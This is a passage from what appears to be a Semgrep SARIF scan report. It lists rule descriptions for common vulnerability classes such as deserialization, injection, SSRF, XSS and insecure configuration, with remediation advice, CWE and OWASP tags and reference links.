[https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-pickle-django.tainted-pickle-django","id":"python.django.deserialization.tainted-pickle-django.tainted-pickle-django","name":"python.django.deserialization.tainted-pickle-django.tainted-pickle-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-pickle-django.tainted-pickle-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.apache-hardcoded-secret.apache-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.apache-hardcoded-secret.apache-hardcoded-secret","id":"kotlin.sql.apache-hardcoded-secret.apache-hardcoded-secret","name":"kotlin.sql.apache-hardcoded-secret.apache-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.apache-hardcoded-secret.apache-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"File storage was observed that does not leverage the platforms strongest available protection mechanisms. Where feasible, data should be stored with `completeFileProtection` or `completeUnlessOpen`, ensuring that data is sufficiently protected at rest. By default, data is unlocked the first time the user authenticates after boot."},"help":{"markdown":"File storage was observed that does not leverage the platforms strongest available protection mechanisms. Where feasible, data should be stored with `completeFileProtection` or `completeUnlessOpen`, ensuring that data is sufficiently protected at rest. By default, data is unlocked the first time the user authenticates after boot.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.storage.storage-protections.swift-data-protection)\n - [https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/](https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/)\n","text":"File storage was observed that does not leverage the platforms strongest available protection mechanisms. Where feasible, data should be stored with `completeFileProtection` or `completeUnlessOpen`, ensuring that data is sufficiently protected at rest. By default, data is unlocked the first time the user authenticates after boot."},"helpUri":"https://semgrep.dev/r/swift.lang.storage.storage-protections.swift-data-protection","id":"swift.lang.storage.storage-protections.swift-data-protection","name":"swift.lang.storage.storage-protections.swift-data-protection","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","HIGH CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.storage.storage-protections.swift-data-protection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Usage of RSA without OAEP (Optimal Asymmetric Encryption Padding) may weaken encryption. This could lead to sensitive data exposure. Instead, use RSA with `OAEPWithMD5AndMGF1Padding` instead."},"help":{"markdown":"Usage of RSA without OAEP (Optimal Asymmetric Encryption Padding) may weaken encryption. This could lead to sensitive data exposure. Instead, use RSA with `OAEPWithMD5AndMGF1Padding` instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.rsa-padding-set.rsa-padding-set)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Usage of RSA without OAEP (Optimal Asymmetric Encryption Padding) may weaken encryption. This could lead to sensitive data exposure. Instead, use RSA with `OAEPWithMD5AndMGF1Padding` instead."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.rsa-padding-set.rsa-padding-set","id":"scala.lang.security.audit.rsa-padding-set.rsa-padding-set","name":"scala.lang.security.audit.rsa-padding-set.rsa-padding-set","properties":{"precision":"very-high","tags":["CWE-780: Use of RSA Algorithm without OAEP","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.rsa-padding-set.rsa-padding-set"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"help":{"markdown":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.xxe.xmlreadersettings-unsafe-parser-override.xmlreadersettings-unsafe-parser-override)\n - [https://www.jardinesoftware.net/2016/05/26/xxe-and-net/](https://www.jardinesoftware.net/2016/05/26/xxe-and-net/)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks)\n","text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.xxe.xmlreadersettings-unsafe-parser-override.xmlreadersettings-unsafe-parser-override","id":"csharp.lang.security.xxe.xmlreadersettings-unsafe-parser-override.xmlreadersettings-unsafe-parser-override","name":"csharp.lang.security.xxe.xmlreadersettings-unsafe-parser-override.xmlreadersettings-unsafe-parser-override","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.xxe.xmlreadersettings-unsafe-parser-override.xmlreadersettings-unsafe-parser-override"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.audit.cookies.secure-false.secure-false)\n - [https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware)\n - [https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"helpUri":"https://semgrep.dev/r/csharp.lang.audit.cookies.secure-false.secure-false","id":"csharp.lang.audit.cookies.secure-false.secure-false","name":"csharp.lang.audit.cookies.secure-false.secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.audit.cookies.secure-false.secure-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gin.path-traversal.gin-path-traversal-taint.gin-path-traversal-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"helpUri":"https://semgrep.dev/r/go.gin.path-traversal.gin-path-traversal-taint.gin-path-traversal-taint","id":"go.gin.path-traversal.gin-path-traversal-taint.gin-path-traversal-taint","name":"go.gin.path-traversal.gin-path-traversal-taint.gin-path-traversal-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.gin.path-traversal.gin-path-traversal-taint.gin-path-traversal-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for configuration setting of force_ssl to false. Force_ssl forces usage of HTTPS, which could lead to network interception of unencrypted application traffic. To fix, set config.force_ssl = true."},"help":{"markdown":"Checks for configuration setting of force_ssl to false. Force_ssl forces usage of HTTPS, which could lead to network interception of unencrypted application traffic. To fix, set config.force_ssl = true.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.force-ssl-false.force-ssl-false)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_force_ssl.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_force_ssl.rb)\n","text":"Checks for configuration setting of force_ssl to false. Force_ssl forces usage of HTTPS, which could lead to network interception of unencrypted application traffic. To fix, set config.force_ssl = true."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.force-ssl-false.force-ssl-false","id":"ruby.lang.security.force-ssl-false.force-ssl-false","name":"ruby.lang.security.force-ssl-false.force-ssl-false","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","HIGH CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.force-ssl-false.force-ssl-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.nosqli.mongodb-taint.mongodb-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.nosqli.mongodb-taint.mongodb-taint","id":"csharp.dotnet-core.nosqli.mongodb-taint.mongodb-taint","name":"csharp.dotnet-core.nosqli.mongodb-taint.mongodb-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.nosqli.mongodb-taint.mongodb-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding the `allowPrivilegeEscalation` parameter to your the `securityContext`, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks."},"help":{"markdown":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding the `allowPrivilegeEscalation` parameter to your the `securityContext`, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation.allow-privilege-escalation)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n - [https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt](https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag)\n","text":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding the `allowPrivilegeEscalation` parameter to your the `securityContext`, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation.allow-privilege-escalation","id":"yaml.kubernetes.security.allow-privilege-escalation.allow-privilege-escalation","name":"yaml.kubernetes.security.allow-privilege-escalation.allow-privilege-escalation","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.allow-privilege-escalation.allow-privilege-escalation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep-add.tainted-ssrf-deepsemgrep-add)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep-add.tainted-ssrf-deepsemgrep-add","id":"java.servlets.security.tainted-ssrf-deepsemgrep-add.tainted-ssrf-deepsemgrep-add","name":"java.servlets.security.tainted-ssrf-deepsemgrep-add.tainted-ssrf-deepsemgrep-add","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ssrf-deepsemgrep-add.tainted-ssrf-deepsemgrep-add"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-user-input-in-php-script.tainted-user-input-in-php-script)\n - [https://brightsec.com/blog/cross-site-scripting-php/](https://brightsec.com/blog/cross-site-scripting-php/)\n - [https://github.com/tolgadevsec/PHP-Security-Cheatsheet#cross-site-scripting](https://github.com/tolgadevsec/PHP-Security-Cheatsheet#cross-site-scripting)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-user-input-in-php-script.tainted-user-input-in-php-script","id":"php.lang.security.tainted-user-input-in-php-script.tainted-user-input-in-php-script","name":"php.lang.security.tainted-user-input-in-php-script.tainted-user-input-in-php-script","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-user-input-in-php-script.tainted-user-input-in-php-script"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"help":{"markdown":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.log.tainted-log-injection-stdlib-flask.tainted-log-injection-stdlib-flask)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://flask.palletsprojects.com/en/2.3.x/logging/](https://flask.palletsprojects.com/en/2.3.x/logging/)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"helpUri":"https://semgrep.dev/r/python.flask.log.tainted-log-injection-stdlib-flask.tainted-log-injection-stdlib-flask","id":"python.flask.log.tainted-log-injection-stdlib-flask.tainted-log-injection-stdlib-flask","name":"python.flask.log.tainted-log-injection-stdlib-flask.tainted-log-injection-stdlib-flask","properties":{"precision":"very-high","tags":["CWE-117: Improper Output Neutralization for Logs","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.log.tainted-log-injection-stdlib-flask.tainted-log-injection-stdlib-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.peewee.python-peewee-mysql-empty-password.python-peewee-mysql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.peewee.python-peewee-mysql-empty-password.python-peewee-mysql-empty-password","id":"python.peewee.python-peewee-mysql-empty-password.python-peewee-mysql-empty-password","name":"python.peewee.python-peewee-mysql-empty-password.python-peewee-mysql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.peewee.python-peewee-mysql-empty-password.python-peewee-mysql-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a SQL sink or statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a SQL sink or statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected input from a HTTPServletRequest going into a SQL sink or statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request","id":"java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request","name":"java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found 'x-openai-isConsequential: false' in a state-changing HTTP method: $METHOD $PATH. This Action configuration will enable the 'Always Allow' option for state-changing HTTP methods, such as POST, PUT, PATCH, or DELETE. The risk of a user selecting the 'Always Allow' button is that the agent could perform unintended actions on behalf of the user. When working with sensitive functionality, it is always best to include a Human In The Loop (HITL) type of control. Consider the trade-off between security  and user friction and then make a risk-based decision about this function."},"help":{"markdown":"Found 'x-openai-isConsequential: false' in a state-changing HTTP method: $METHOD $PATH. This Action configuration will enable the 'Always Allow' option for state-changing HTTP methods, such as POST, PUT, PATCH, or DELETE. The risk of a user selecting the 'Always Allow' button is that the agent could perform unintended actions on behalf of the user. When working with sensitive functionality, it is always best to include a Human In The Loop (HITL) type of control. Consider the trade-off between security  and user friction and then make a risk-based decision about this function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.openapi.security.openai-consequential-action-false.openai-consequential-action-false)\n - [https://platform.openai.com/docs/actions/consequential-flag](https://platform.openai.com/docs/actions/consequential-flag)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design/](https://owasp.org/Top10/A04_2021-Insecure_Design/)\n - [https://owasp.org/www-project-top-10-for-large-language-model-applications/assets/PDF/OWASP-Top-10-for-LLMs-2023-v1_1.pdf](https://owasp.org/www-project-top-10-for-large-language-model-applications/assets/PDF/OWASP-Top-10-for-LLMs-2023-v1_1.pdf)\n","text":"Found 'x-openai-isConsequential: false' in a state-changing HTTP method: $METHOD $PATH. This Action configuration will enable the 'Always Allow' option for state-changing HTTP methods, such as POST, PUT, PATCH, or DELETE. The risk of a user selecting the 'Always Allow' button is that the agent could perform unintended actions on behalf of the user. When working with sensitive functionality, it is always best to include a Human In The Loop (HITL) type of control. Consider the trade-off between security  and user friction and then make a risk-based decision about this 